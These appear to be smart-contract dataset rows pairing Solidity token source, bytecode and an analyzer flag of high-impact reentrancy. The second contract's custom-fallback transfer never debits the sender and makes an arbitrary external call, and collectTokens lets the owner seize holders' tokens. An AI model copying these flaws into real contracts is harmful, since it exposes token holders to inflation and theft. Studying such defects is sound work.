function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600a8152695477656574536869626160b01b60208201525b60405161023a9190611a26565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7b565b61069c565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa7565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae8565b61071c565b34801561036e57600080fd5b506101fc61037d366004611b15565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611ae8565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611b30565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae8565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b15565b6108bf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600681526554534849424160d01b602082015261022d565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026361050d366004611a7b565b610974565b34801561051e57600080fd5b5061026361052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c2610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a710eaa891d23ace71863234b4beabf90498f98fbdf6fb57e9e13b660a59e4364736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 196 |
0xfa81db3798eabf3bbd262ca1456218b27d4b7d35 | pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract VictoryGlobalCoin is Pausable {
using SafeMath for uint256;
mapping (address => uint) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
event FrozenFunds(address target, bool frozen);
event Approval(address indexed owner, address indexed spender, uint256 value);
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
constructor(string _name, string _symbol, uint8 _decimals, uint256 _supply)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _supply;
balances[msg.sender] = totalSupply;
}
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback)
whenNotPaused
returns (bool success)
{
require(_to != address(0));
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
if(isContract(_to)) {
require(balanceOf(msg.sender) >= _value);
balances[_to] = balanceOf(_to).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
assert(_to.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data)
whenNotPaused
returns (bool success) {
require(_to != address(0));
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value)
whenNotPaused
returns (bool success) {
require(_to != address(0));
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(_to != address(0));
require(!frozenAccount[_to]);
require(balanceOf(msg.sender) >= _value);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(_to != address(0));
require(!frozenAccount[_to]);
require(balanceOf(msg.sender) >= _value);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public returns (bool seccess) {
require(amount > 0);
require(addresses.length > 0);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
balances[addresses[i]] = balances[addresses[i]].add(amount);
emit Transfer(msg.sender, addresses[i], amount, empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint256[] amounts) public returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0);
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
totalAmount = totalAmount.add(amounts[i]);
}
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (i = 0; i < addresses.length; i++) {
balances[addresses[i]] = balances[addresses[i]].add(amounts[i]);
emit Transfer(msg.sender, addresses[i], amounts[i], empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint256[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
uint256 totalAmount = 0;
bytes memory empty;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0);
require(addresses[j] != address(0));
require(!frozenAccount[addresses[j]]);
require(balances[addresses[j]] >= amounts[j]);
balances[addresses[j]] = balances[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j], empty);
}
balances[msg.sender] = balances[msg.sender].add(totalAmount);
return true;
}
} | 0x6080604052600436106101195763ffffffff60e060020a60003504166306fdde03811461011e578063095ea7b3146101a857806318160ddd146101e0578063313ce567146102075780633f4ba83a146102325780635c975abb14610249578063661884631461025e57806370a0823114610282578063715018a6146102a35780638456cb59146102b85780638da5cb5b146102cd57806394594625146102fe57806395d89b4114610355578063a9059cbb1461036a578063b414d4b61461038e578063be45fd62146103af578063d73dd62314610418578063dd62ed3e1461043c578063dd92459414610463578063e724529c146104f1578063f0dc417114610517578063f2fde38b146105a5578063f6368f8a146105c6575b600080fd5b34801561012a57600080fd5b5061013361066d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016d578181015183820152602001610155565b50505050905090810190601f16801561019a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b457600080fd5b506101cc600160a060020a0360043516602435610703565b604080519115158252519081900360200190f35b3480156101ec57600080fd5b506101f5610782565b60408051918252519081900360200190f35b34801561021357600080fd5b5061021c610788565b6040805160ff9092168252519081900360200190f35b34801561023e57600080fd5b50610247610791565b005b34801561025557600080fd5b506101cc61080b565b34801561026a57600080fd5b506101cc600160a060020a036004351660243561081b565b34801561028e57600080fd5b506101f5600160a060020a036004351661092f565b3480156102af57600080fd5b5061024761094a565b3480156102c457600080fd5b506102476109ba565b3480156102d957600080fd5b506102e2610a39565b60408051600160a060020a039092168252519081900360200190f35b34801561030a57600080fd5b50604080516020600480358082013583810280860185019096528085526101cc953695939460249493850192918291850190849080828437509497505093359450610a489350505050565b34801561036157600080fd5b50610133610cf3565b34801561037657600080fd5b506101cc600160a060020a0360043516602435610d54565b34801561039a57600080fd5b506101cc600160a060020a0360043516610dfb565b3480156103bb57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101cc948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610e109650505050505050565b34801561042457600080fd5b506101cc600160a060020a0360043516602435610ebb565b34801561044857600080fd5b506101f5600160a060020a0360043581169060243516610f73565b34801561046f57600080fd5b50604080516020600480358082013583810280860185019096528085526101cc95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610f9e9650505050505050565b3480156104fd57600080fd5b50610247600160a060020a03600435166024351515611236565b34801561052357600080fd5b50604080516020600480358082013583810280860185019096528085526101cc95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506112b59650505050505050565b3480156105b157600080fd5b50610247600160a060020a0360043516611598565b3480156105d257600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101cc948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506116309650505050505050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106f95780601f106106ce576101008083540402835291602001916106f9565b820191906000526020600020905b8154815290600101906020018083116106dc57829003601f168201915b5050505050905090565b6000805460a060020a900460ff161561071b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b92915050565b60075490565b60065460ff1690565b60005433600160a060020a039081169116146107ac57600080fd5b60005460a060020a900460ff1615156107c457600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60005460a060020a900460ff1681565b60008054819060a060020a900460ff161561083557600080fd5b50600160a060020a033381166000908152600260209081526040808320938716835292905220548083111561089157600160a060020a0333811660009081526002602090815260408083209388168352929052908120556108c8565b6108a1818463ffffffff61190916565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b60005433600160a060020a0390811691161461096557600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60005433600160a060020a039081169116146109d557600080fd5b60005460a060020a900460ff16156109ec57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b600080548190606090829033600160a060020a03908116911614610a6b57600080fd5b60008511610a7857600080fd5b8551600010610a8657600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610aac57600080fd5b8551610abf90869063ffffffff61191b16565b600160a060020a033316600090815260016020526040902054909350831115610ae757600080fd5b5060005b8551811015610ca1578551600090879083908110610b0557fe5b60209081029091010151600160a060020a03161415610b2357600080fd5b600360008783815181101515610b3557fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff1615610b6557600080fd5b610baa85600160008985815181101515610b7b57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61194416565b600160008884815181101515610bbc57fe5b6020908102909101810151600160a060020a03168252810